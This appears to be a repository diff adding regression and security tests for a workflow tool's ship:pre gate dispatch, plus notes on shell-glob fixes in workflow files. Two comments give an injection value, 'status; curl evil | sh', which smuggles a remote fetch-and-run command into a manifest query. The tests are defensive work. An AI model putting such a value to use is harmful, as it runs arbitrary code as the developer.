"complete-milestone.md": "#3409: guarded `cat .planning/phases/*-*/*-SUMMARY.md` — with `shopt -s nullglob` active in this block's preamble (#2962), zero matching phase summaries collapses the glob to nothing and a bare `cat` blocks reading stdin rather than producing empty output, wedging the milestone-completion review. Growth is the array-existence-check idiom (+73 bytes, two glob segments makes this longer than the single-glob sites). — #2142 append (merged into this fragment because two ack sources may never name the same path): +1605 bytes, 40498 -> 42103. The `archive_milestone` step now documents the opt-in `--archive-quick` quick-task archival flag (default OFF, deliberately NOT symmetrical with phase archival's default-ON posture), folds the AskUserQuestion decision for it into the SAME `milestone.complete` invocation (avoiding a redundant second call), and states the known bucket-all provenance limit.",
|
||||
"discuss-phase-assumptions.md": "#3409: replaced the unreachable `AUTO_MODE=$(gsd_run query check auto-mode --pick active 2>/dev/null || echo \"false\")` — `||` never fires because the query exits 0 with empty stdout when the field is absent, not a failure, so AUTO_MODE silently ended up empty rather than \"false\" — with a two-line capture-then-default (`AUTO_MODE=\"${AUTO_MODE:-false}\"`) that actually reaches the fallback. Growth is the extra default-assignment line (+19 bytes).",
|
||||
"plan-phase.md": "#3409: three sites. `AUTO_CHAIN` and `PHASE_REQ_IDS` get the same unreachable-`||`-fallback fix as discuss-phase-assumptions.md (empty-but-successful `gsd_run query` output never triggered `|| echo`, now uses `${VAR:-default}`); `PRIOR_SUMMARIES` additionally swapped `gsd_run query phases.list --pick summaries_total` for `--type summaries --pick count` since the old pick key produced the same unreachable-fallback failure mode for the walking-skeleton check. Net growth across the three sites is +39 bytes. — #3576 append: bare `references/<name>.md` cites repaired to the canonical `gsd-core/references/<name>.md` form (+36 bytes, 4 cite(s) × 9). Dead-pointer fix; no content change. #3559: the generic gate-dispatch arm gained the in-context validation contract for manifest-supplied check values. gates[].check is not one of the four executable surfaces the install consent prompt discloses, so a capability consented to as declarative-only could still reach a shell through an unvalidated check.query interpolated into a command substitution. The reference (references/loop-hook-dispatch.md) stated this requirement for step -> ref.command and omitted it for gate; that omission is the root cause and is now closed at the reference plus all four dispatch sites. Growth is one validation paragraph per site. 90516 -> 90627 bytes (+111).",
|
||||
"session-report.md": "#3409: guarded `ls -la .planning/reports/SESSION_REPORT*.md 2>/dev/null || echo \"No previous reports\"` — with nullglob active, zero prior reports collapses the pattern to nothing and `ls -la` with no operands lists the current directory (a successful exit, wrong output) instead of failing into the `|| echo` fallback, so the report-existence check silently printed a directory listing. Replaced with an array-existence check that only lists when a real report file is present. Growth is the guard idiom (+58 bytes).",
|
||||
"transition.md": "#3409: guarded `cat .planning/phases/XX-current/*-SUMMARY.md` — same nullglob-hang defect as complete-milestone.md's phase-summary read: zero summaries left a bare `cat` blocking on stdin instead of proceeding with no summary content during PROJECT.md evolution. Growth is the array-existence-check idiom (+73 bytes)."
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,9 +8,13 @@
|
||||
* - frontmatter get CLI subprocess (threats_open field contract)
|
||||
* - resolveLoopHooks pure-function with realRegistry (predicate.equals integer contract)
|
||||
*
|
||||
* NOTE: ship:pre has NO runnable predicate evaluator — enforcement is ship.md prose only.
|
||||
* The check.predicate shape is asserted here to pin the Hyrum's-law contract for downstream
|
||||
* consumers (workflow prose, manual ship gate). This is a known robustness gap (kerckhoffs).
|
||||
* NOTE (updated #3559): ship:pre now HAS a runnable evaluator. #2008/ADR-2008 shipped
|
||||
* evaluatePredicate behind `gsd_run check predicate`, and #3559 wired ship.md's preflight
|
||||
* onto it with a generic kind=="gate" dispatch loop, so a third-party capability's gate is
|
||||
* evaluated instead of resolved-then-dropped. The check.predicate shape is still asserted
|
||||
* here to pin the Hyrum's-law contract for downstream consumers. The former "prose only /
|
||||
* known robustness gap (kerckhoffs)" note described the pre-#2008 state and is retired —
|
||||
* section 5 below covers the dispatch contract and the evaluator it drives.
|
||||
*
|
||||
* Follows RULESET.TESTS (no source-grep, BVA at thresholds, genuine assertions).
|
||||
*/
|
||||
@@ -315,3 +319,464 @@ describe('real registry ship:pre — structural guards', () => {
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
// ─── 5. ship:pre gate dispatch is generic, not a capId allowlist (#3559) ───────
|
||||
//
|
||||
// #3559: ship.md's preflight resolved every active ship:pre gate and then enforced
|
||||
// exactly two hardcoded capability IDs. A third-party capability's blocking gate was
|
||||
// resolved, evaluable, and silently dropped — the ship proceeded past a failing gate
|
||||
// with no evaluation and no warning.
|
||||
//
|
||||
// Two engines below, because the defect spans two surfaces:
|
||||
// 5a. The DEPLOYED DISPATCH CONTRACT — ship.md's prose IS what the agent runtime
|
||||
// loads and executes, so its text is the deployed behavior. This is the
|
||||
// `source-text-is-the-product` exemption category, the sanctioned one for
|
||||
// workflow markdown (CONTRIBUTING → "Exception: allow-test-rule").
|
||||
// 5b. The GENERIC EVALUATOR the contract now drives — ordinary behavioral
|
||||
// subprocess tests. This machinery shipped in #2008/ADR-2008 and was never
|
||||
// wired at ship:pre; these rows pin the contract the prose depends on.
|
||||
|
||||
const SHIP_MD = path.join(__dirname, '..', 'gsd-core', 'workflows', 'ship.md');
|
||||
|
||||
// The repo's shared generic-gate-dispatch phrasing, used verbatim at execute:wave:post
|
||||
// (execute-phase.md), execute:post (execute-phase.md) and plan:post (plan-phase.md).
|
||||
// Matching the shared phrase — rather than an arbitrary literal — is what makes this a
|
||||
// contract assertion: ship:pre either speaks the same dispatch language as its siblings
|
||||
// or it is hand-rolling, which is precisely what references/loop-hook-dispatch.md forbids.
|
||||
const GENERIC_GATE_LOOP = /For each active entry where\s+`kind == "gate"`/;
|
||||
|
||||
/**
|
||||
* Extract ship.md's <step name="preflight_checks"> region.
|
||||
*
|
||||
* Scoped deliberately: ship:post dispatch lives in a different step in the same file
|
||||
* and is explicitly out of scope for #3559, so no assertion here may see it.
|
||||
*/
|
||||
function preflightRegion() {
|
||||
// allow-test-rule: source-text-is-the-product (#3559)
|
||||
// gsd-core/workflows/ship.md is shipped content executed by the agent runtime — its
|
||||
// text is the deployed gate-dispatch contract, not an implementation detail behind it.
|
||||
const src = fs.readFileSync(SHIP_MD, 'utf8');
|
||||
const open = src.indexOf('<step name="preflight_checks">');
|
||||
assert.notStrictEqual(open, -1, 'ship.md must contain a preflight_checks step');
|
||||
const close = src.indexOf('</step>', open);
|
||||
assert.notStrictEqual(close, -1, 'preflight_checks step must be closed');
|
||||
return src.slice(open, close);
|
||||
}
|
||||
|
||||
describe('ship:pre gate dispatch contract (#3559)', () => {
|
||||
|
||||
test('[regression] ship:pre preflight dispatches every active gate generically, not a capId allowlist', () => {
|
||||
const region = preflightRegion();
|
||||
|
||||
assert.match(
|
||||
region,
|
||||
GENERIC_GATE_LOOP,
|
||||
'ship.md preflight must iterate EVERY active kind=="gate" entry using the same generic ' +
|
||||
'dispatch phrasing as execute:wave:post / execute:post / plan:post. Without it, a gate is ' +
|
||||
'enforced only when its capId happens to be named in this file, which is #3559.',
|
||||
);
|
||||
});
|
||||
|
||||
test('[regression] capId arms are specializations inside the generic loop, never the sole gate selector', () => {
|
||||
const region = preflightRegion();
|
||||
|
||||
const genericAt = region.search(GENERIC_GATE_LOOP);
|
||||
assert.notStrictEqual(genericAt, -1, 'generic gate loop must be present (see previous test)');
|
||||
|
||||
const capIdSelectors = [...region.matchAll(/capId\s*==\s*"([a-z0-9-]+)"/g)];
|
||||
|
||||
for (const match of capIdSelectors) {
|
||||
assert.ok(
|
||||
match.index > genericAt,
|
||||
`capId selector "${match[1]}" appears BEFORE the generic gate loop. A capId arm may only ` +
|
||||
'exist as a named specialization reached from inside the generic loop — a capId arm that ' +
|
||||
'runs first is a top-level allowlist, which drops every unlisted capability (#3559). ' +
|
||||
'Keeping every arm inside one loop is also what makes double-enforcement unrepresentable: ' +
|
||||
'each gate is visited exactly once.',
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('[regression] preflight cites the generic predicate evaluator and the two-step onError contract', () => {
|
||||
const region = preflightRegion();
|
||||
|
||||
assert.match(
|
||||
region,
|
||||
/gsd_run check predicate --predicate/,
|
||||
'preflight must dispatch predicate gates through the generic evaluator CLI (ADR-2008/#2008), ' +
|
||||
'not re-implement each capability\'s predicate inline',
|
||||
);
|
||||
|
||||
// Two-step contract: step 1 is "did the CHECK COMMAND fail" (routed per onError);
|
||||
// step 2 is "did the gate decide to block" (routed per blocking). Conflating them
|
||||
// would let onError:"skip" silently disarm a blocking gate's block decision.
|
||||
assert.match(region, /onError\s*==\s*"halt"/, 'preflight must handle onError=="halt" on command failure');
|
||||
assert.match(region, /onError\s*==\s*"skip"/, 'preflight must handle onError=="skip" on command failure');
|
||||
assert.match(region, /blocking\s*==\s*true/, 'preflight must branch on the gate\'s own blocking flag');
|
||||
assert.match(region, /blocking\s*==\s*false/, 'preflight must treat a non-blocking gate as advisory, never a halt');
|
||||
});
|
||||
|
||||
test('[regression] a catch-all arm handles every capId the named branches do not, and comes last', () => {
|
||||
const region = preflightRegion();
|
||||
|
||||
// Adversarial-review finding: asserting only that the shared loop phrase and the
|
||||
// evaluator substrings CO-OCCUR somewhere in the region is too weak. A partial
|
||||
// regression that keeps the loop phrase but deletes the default arm — leaving prose
|
||||
// that merely name-drops `gsd_run check predicate` and the onError/blocking words —
|
||||
// would satisfy those assertions while silently reintroducing #3559. The load-bearing
|
||||
// structure is a distinguishable DEFAULT branch, positioned after every named one.
|
||||
const catchAll = region.search(/\*\*Every other `capId`\*\*/);
|
||||
assert.notStrictEqual(
|
||||
catchAll,
|
||||
-1,
|
||||
'preflight must carry an explicit catch-all arm for every capId the named branches do not ' +
|
||||
'handle. Without it, dispatch is still an allowlist no matter how the loop is worded (#3559).',
|
||||
);
|
||||
|
||||
const capIdSelectors = [...region.matchAll(/capId\s*==\s*"([a-z0-9-]+)"/g)];
|
||||
for (const match of capIdSelectors) {
|
||||
assert.ok(
|
||||
catchAll > match.index,
|
||||
`the catch-all arm must come AFTER the named "${match[1]}" branch — a default placed ` +
|
||||
'before a specialization would swallow it, changing that gate\'s established semantics.',
|
||||
);
|
||||
}
|
||||
|
||||
// The catch-all is the arm that must reach the generic evaluator; a default branch that
|
||||
// does not evaluate anything is the bug wearing a different shape.
|
||||
const evaluatorAt = region.search(/gsd_run check predicate --predicate/);
|
||||
assert.ok(
|
||||
evaluatorAt > catchAll,
|
||||
'the generic predicate evaluator must be invoked from inside the catch-all arm, not merely ' +
|
||||
'mentioned somewhere earlier in the step',
|
||||
);
|
||||
});
|
||||
|
||||
test('[security] the third-party check arm mandates validation before any shell use', () => {
|
||||
const region = preflightRegion();
|
||||
|
||||
// #3559 made ship:pre reach THIRD-PARTY manifest strings for the first time — dispatch
|
||||
// previously never left the two first-party arms. `gates[].check` is not one of the four
|
||||
// executable surfaces the install consent prompt discloses (hooks, command modules,
|
||||
// mcpServers, reviewer lanes), so a capability can be consented to as declarative-only
|
||||
// and still reach a shell here. If this mandate is ever dropped, a manifest `check.query`
|
||||
// of `status; curl evil | sh` is interpolated straight into a command substitution.
|
||||
//
|
||||
// The RULE itself (charset, in-context, single-argv) lives once in the reference and is
|
||||
// asserted in section 6 — restating it at all five dispatch sites would recreate exactly
|
||||
// the doc-vs-implementation drift this PR had to repair.
|
||||
assert.match(
|
||||
region,
|
||||
/Validate `check` before shell use/,
|
||||
'the preflight must tell an executing agent to validate a manifest-supplied check before ' +
|
||||
'it reaches a shell',
|
||||
);
|
||||
assert.match(
|
||||
region,
|
||||
/loop-hook-dispatch\.md/,
|
||||
'the mandate must point at the reference carrying the rule, so it is actionable',
|
||||
);
|
||||
assert.match(
|
||||
region,
|
||||
/single argv element/,
|
||||
'the predicate arm must be passed as one argument, never re-quoted into a shell string',
|
||||
);
|
||||
});
|
||||
|
||||
test('every capId named in ship:pre preflight declares a ship:pre gate in the registry', () => {
|
||||
const region = preflightRegion();
|
||||
|
||||
const named = new Set([...region.matchAll(/capId\s*==\s*"([a-z0-9-]+)"/g)].map(m => m[1]));
|
||||
const declared = new Set(realRegistry.byLoopPoint['ship:pre'].gates.map(g => g.capId));
|
||||
|
||||
for (const capId of named) {
|
||||
assert.ok(
|
||||
declared.has(capId),
|
||||
`ship.md preflight names capId "${capId}" but no ship:pre gate declares it. Either the ` +
|
||||
'capability was renamed/removed and the workflow arm is now dead, or the arm is a typo — ' +
|
||||
'both mean that gate is silently unenforced.',
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
// ─── 5b. Generic evaluator contract the ship:pre dispatch now drives (#3559) ──
|
||||
|
||||
/**
|
||||
* Build a temp GSD_HOME carrying a third-party overlay capability that declares one
|
||||
* blocking ship:pre gate, plus a temp project with a phase artifact to evaluate against.
|
||||
*
|
||||
* GLOBAL scope (under GSD_HOME) is trusted without a consent record (ADR-1244 / #1459);
|
||||
* PROJECT scope would require a consent-store entry, which is a different concern.
|
||||
*/
|
||||
function makeOverlayFixture(blockingOpenLine) {
|
||||
const home = fs.mkdtempSync(path.join(os.tmpdir(), 'ship-pre-3559-home-'));
|
||||
const capDir = path.join(home, '.gsd', 'capabilities', 'beads');
|
||||
fs.mkdirSync(capDir, { recursive: true });
|
||||
fs.writeFileSync(path.join(capDir, 'capability.json'), JSON.stringify({
|
||||
id: 'beads',
|
||||
title: 'Beads',
|
||||
version: '1.0.0',
|
||||
role: 'feature',
|
||||
tier: 'full',
|
||||
description: 'Third-party capability declaring a blocking ship:pre gate (#3559 fixture).',
|
||||
engines: { gsd: '>=1.7.0' },
|
||||
requires: [],
|
||||
runtimeCompat: { supported: ['claude'], unsupported: [] },
|
||||
skills: [],
|
||||
agents: [],
|
||||
config: {},
|
||||
steps: [],
|
||||
contributions: [],
|
||||
gates: [{
|
||||
point: 'ship:pre',
|
||||
check: {
|
||||
predicate: {
|
||||
kind: 'artifact-frontmatter-equals',
|
||||
artifact: 'BEADS.md',
|
||||
field: 'blocking_open',
|
||||
equals: 0,
|
||||
},
|
||||
},
|
||||
blocking: true,
|
||||
onError: 'skip',
|
||||
}],
|
||||
}), 'utf8');
|
||||
|
||||
const project = makeTmpProject('ship-pre-3559-proj-');
|
||||
const phaseDir = path.join(project, '.planning', 'phases', '01-demo');
|
||||
fs.mkdirSync(phaseDir, { recursive: true });
|
||||
const frontmatter = blockingOpenLine === null ? 'diverged: 0' : `blocking_open: ${blockingOpenLine}\ndiverged: 0`;
|
||||
fs.writeFileSync(path.join(phaseDir, '01-BEADS.md'), `---\n${frontmatter}\n---\n# Beads\n`, 'utf8');
|
||||
|
||||
return { home, project, phaseDir: path.join('.planning', 'phases', '01-demo') };
|
||||
}
|
||||
|
||||
const BEADS_PREDICATE = JSON.stringify({
|
||||
kind: 'artifact-frontmatter-equals',
|
||||
artifact: 'BEADS.md',
|
||||
field: 'blocking_open',
|
||||
equals: 0,
|
||||
});
|
||||
|
||||
function runCheckPredicate(fixture, predicateJson) {
|
||||
return runTools(
|
||||
['check', 'predicate', '--predicate', predicateJson || BEADS_PREDICATE, '--phase-dir', fixture.phaseDir, '--raw'],
|
||||
{ cwd: fixture.project, env: { GSD_HOME: fixture.home } },
|
||||
);
|
||||
}
|
||||
|
||||
describe('ship:pre generic gate evaluation — third-party overlay gate (#3559)', () => {
|
||||
|
||||
test('[happy] third-party artifact-frontmatter-equals gate blocks when the field diverges', (t) => {
|
||||
const fx = makeOverlayFixture(5);
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const result = runCheckPredicate(fx);
|
||||
assert.strictEqual(result.status, 0, `check predicate must exit 0 on a decisive verdict; stderr: ${result.stderr}`);
|
||||
|
||||
const verdict = JSON.parse(result.stdout.trim());
|
||||
assert.strictEqual(verdict.block, true, 'blocking_open:5 against equals:0 must block');
|
||||
assert.strictEqual(verdict.details.match, false);
|
||||
assert.strictEqual(verdict.details.actual, '5');
|
||||
assert.strictEqual(verdict.details.expected, 0);
|
||||
assert.strictEqual(verdict.details.kind, 'artifact-frontmatter-equals');
|
||||
});
|
||||
|
||||
test('[bva:limit] third-party gate passes at exactly the equals value', (t) => {
|
||||
const fx = makeOverlayFixture(0);
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim());
|
||||
assert.strictEqual(verdict.block, false, 'blocking_open:0 against equals:0 must pass');
|
||||
assert.strictEqual(verdict.details.match, true);
|
||||
});
|
||||
|
||||
test('[bva:limit+1] third-party gate blocks one past the equals value', (t) => {
|
||||
const fx = makeOverlayFixture(1);
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim());
|
||||
assert.strictEqual(verdict.block, true, 'blocking_open:1 must block');
|
||||
assert.strictEqual(verdict.details.actual, '1');
|
||||
});
|
||||
|
||||
test('[bva:limit-1] third-party gate blocks one below the equals value (strict equality, not <=)', (t) => {
|
||||
const fx = makeOverlayFixture(-1);
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim());
|
||||
assert.strictEqual(verdict.block, true, 'blocking_open:-1 must block — the predicate is equality, not a ceiling');
|
||||
assert.strictEqual(verdict.details.actual, '-1');
|
||||
});
|
||||
|
||||
test('[negative] absent frontmatter field fails closed', (t) => {
|
||||
const fx = makeOverlayFixture(null); // artifact exists, blocking_open key absent
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim());
|
||||
assert.strictEqual(verdict.block, true, 'an absent field is ambiguous and must never ship');
|
||||
assert.strictEqual(verdict.details.match, false);
|
||||
});
|
||||
|
||||
test('[negative] malformed predicate exits non-zero so the workflow routes it per onError, not as a block', (t) => {
|
||||
const fx = makeOverlayFixture(5);
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const result = runCheckPredicate(fx, JSON.stringify({ kind: 'no-such-predicate-kind' }));
|
||||
|
||||
// The evaluator THROWS on an unknown kind; the CLI seam maps that to a non-zero exit.
|
||||
// That is step 1 of the two-step gate contract — a command failure routed per onError —
|
||||
// and must never be readable as a block:false verdict (which would silently pass the gate).
|
||||
assert.notStrictEqual(result.status, 0, 'an unknown predicate kind must fail the check COMMAND');
|
||||
});
|
||||
|
||||
test('[independence] overlay ship:pre gate resolves alongside first-party gates with its own blocking/onError', (t) => {
|
||||
const fx = makeOverlayFixture(5);
|
||||
t.after(() => { cleanup(fx.home); cleanup(fx.project); });
|
||||
|
||||
const result = runTools(['loop', 'render-hooks', 'ship:pre', '--raw'],
|
||||
{ cwd: fx.project, env: { GSD_HOME: fx.home } });
|
||||
assert.strictEqual(result.status, 0, `render-hooks must exit 0; stderr: ${result.stderr}`);
|
||||
|
||||
const envelope = JSON.parse(result.stdout.trim());
|
||||
const gates = envelope.activeHooks.filter(h => h.kind === 'gate');
|
||||
|
||||
const beads = gates.find(g => g.capId === 'beads');
|
||||
assert.ok(beads, 'the third-party overlay gate must resolve as an active ship:pre gate');
|
||||
assert.strictEqual(beads.blocking, true, 'overlay gate keeps its own blocking flag');
|
||||
assert.strictEqual(beads.onError, 'skip', 'overlay gate keeps its own onError policy');
|
||||
assert.strictEqual(beads.check.predicate.field, 'blocking_open');
|
||||
|
||||
// More than one gate is active — dispatch has a genuine array to iterate, which is
|
||||
// exactly what the hardcoded-capId dispatch could not do.
|
||||
assert.ok(
|
||||
gates.length >= 2,
|
||||
`expected the overlay gate alongside at least one first-party gate, got ${gates.length}`,
|
||||
);
|
||||
assert.ok(
|
||||
gates.some(g => g.capId === 'security'),
|
||||
'the first-party security gate must still resolve when an overlay gate is present',
|
||||
);
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
// ─── 6. Every generic gate-dispatch site validates before shell use (#3559) ───
|
||||
//
|
||||
// The command-injection surface fixed at ship:pre is a FAMILY property, not a site
|
||||
// property: any workflow that interpolates a manifest-supplied `check.query` into a
|
||||
// shell command has it. This section enumerates the family by DISCOVERY rather than by
|
||||
// a hardcoded list, so a new dispatch site added later without the validation contract
|
||||
// fails here instead of shipping — which is the same "hardcoded list silently misses
|
||||
// members" mistake #3559 itself was.
|
||||
|
||||
const WORKFLOWS_DIR = path.join(__dirname, '..', 'gsd-core', 'workflows');
|
||||
|
||||
// A manifest-supplied query interpolated into a shell command substitution.
|
||||
const SHELL_INTERPOLATED_QUERY = /gsd_run check \$\{hook\.check\.query\}/;
|
||||
// The charset a query must be validated against before it may be run. Stated ONCE, in the
|
||||
// reference — restating it at five sites would be the drift this PR just repaired.
|
||||
const VALIDATION_CHARSET = /\^\[a-z\]\[a-z0-9-\]\*\( \[a-z\]\[a-z0-9-\]\*\)\*\$/;
|
||||
// The per-site mandate: every dispatch site must tell an executing agent to validate BEFORE
|
||||
// it reaches a shell, and where the rule lives.
|
||||
const VALIDATE_MANDATE = /Validate `check` before shell use/;
|
||||
|
||||
function workflowFilesWithShellInterpolatedQuery() {
|
||||
// allow-test-rule: source-text-is-the-product (#3559)
|
||||
// gsd-core/workflows/*.md are shipped content executed by the agent runtime — the text
|
||||
// IS the deployed dispatch contract, so the validation instruction only exists here.
|
||||
return fs.readdirSync(WORKFLOWS_DIR)
|
||||
.filter(name => name.endsWith('.md'))
|
||||
.map(name => ({ name, body: fs.readFileSync(path.join(WORKFLOWS_DIR, name), 'utf8') }))
|
||||
.filter(f => SHELL_INTERPOLATED_QUERY.test(f.body));
|
||||
}
|
||||
|
||||
describe('capability gate dispatch — manifest input is validated before shell use (#3559)', () => {
|
||||
|
||||
test('the discovery scan finds the known dispatch family (guards against a vacuous pass)', () => {
|
||||
const found = workflowFilesWithShellInterpolatedQuery().map(f => f.name).sort();
|
||||
|
||||
// If the interpolation form is ever renamed, the scan below would silently match
|
||||
// nothing and every assertion in this section would pass vacuously. Pin the floor.
|
||||
assert.ok(
|
||||
found.length >= 4,
|
||||
`expected at least 4 workflows interpolating a manifest query into a shell command, found ` +
|
||||
`${found.length} (${found.join(', ')}). A near-zero count means SHELL_INTERPOLATED_QUERY no ` +
|
||||
'longer matches the deployed form and this whole section is passing vacuously.',
|
||||
);
|
||||
for (const expected of ['execute-phase.md', 'plan-phase.md', 'ship.md', 'verify-work.md']) {
|
||||
assert.ok(found.includes(expected), `${expected} must be in the dispatch family, got ${found.join(', ')}`);
|
||||
}
|
||||
});
|
||||
|
||||
for (const { name } of workflowFilesWithShellInterpolatedQuery()) {
|
||||
test(`${name} validates a manifest-supplied check.query before running it`, () => {
|
||||
const body = fs.readFileSync(path.join(WORKFLOWS_DIR, name), 'utf8');
|
||||
|
||||
// `gates[].check` is not one of the four executable surfaces the install consent
|
||||
// prompt discloses, so a capability consented to as declarative-only can still reach
|
||||
// a shell through it. A query of `status; curl evil | sh` interpolated unquoted into
|
||||
// $( ) is arbitrary code execution as the developer.
|
||||
assert.match(
|
||||
body,
|
||||
VALIDATE_MANDATE,
|
||||
`${name} interpolates a manifest-supplied check.query into a shell command but never ` +
|
||||
'tells an executing agent to validate it first.',
|
||||
);
|
||||
assert.match(
|
||||
body,
|
||||
/loop-hook-dispatch\.md/,
|
||||
`${name} must point at the reference that carries the validation rule, so the mandate ` +
|
||||
'is actionable rather than a bare warning.',
|
||||
);
|
||||
assert.ok(
|
||||
body.search(VALIDATE_MANDATE) < body.search(SHELL_INTERPOLATED_QUERY),
|
||||
`${name} states the validation mandate only AFTER the interpolation it is supposed to ` +
|
||||
'guard; an executing agent reads top-down and would run the command first.',
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
test('the reference contract states the rule for gates, not only for steps', () => {
|
||||
// allow-test-rule: source-text-is-the-product (#3559)
|
||||
const ref = fs.readFileSync(
|
||||
path.join(__dirname, '..', 'gsd-core', 'references', 'loop-hook-dispatch.md'), 'utf8');
|
||||
|
||||
const gateSection = ref.slice(ref.indexOf('### `gate`'));
|
||||
assert.notStrictEqual(gateSection.length, 0, 'the reference must carry a gate section');
|
||||
assert.match(
|
||||
gateSection,
|
||||
VALIDATION_CHARSET,
|
||||
'loop-hook-dispatch.md mandated in-context validation for `step` -> ref.command but omitted ' +
|
||||
'it for `gate`. That asymmetry is the root cause of #3559 and its four sibling sites: every ' +
|
||||
'gate consumer inherited an unstated requirement.',
|
||||
);
|
||||
});
|
||||
|
||||
test('onError vocabulary matches what the registry and every manifest actually use', () => {
|
||||
// allow-test-rule: source-text-is-the-product (#3559)
|
||||
const ref = fs.readFileSync(
|
||||
path.join(__dirname, '..', 'gsd-core', 'references', 'loop-hook-dispatch.md'), 'utf8');
|
||||
|
||||
// The reference documented skip/"fail"; the generated registry, every shipped manifest,
|
||||
// and all four dispatch sites use skip/halt. "fail" was a value nothing could ever emit,
|
||||
// so a consumer implementing the doc literally would mis-route every error case.
|
||||
const declared = new Set(
|
||||
realRegistry.byLoopPoint['ship:pre'].gates.map(g => g.onError).filter(Boolean));
|
||||
assert.ok(declared.size > 0, 'ship:pre gates must declare an onError policy');
|
||||
for (const value of declared) {
|
||||
assert.ok(
|
||||
['halt', 'skip'].includes(value),
|
||||
`registry emits onError "${value}" outside the documented {halt, skip} vocabulary`,
|
||||
);
|
||||
}
|
||||
assert.doesNotMatch(
|
||||
ref,
|
||||
/`fail` means surface the error and stop/,
|
||||
'loop-hook-dispatch.md must not document an onError value no capability can emit',
|
||||
);
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user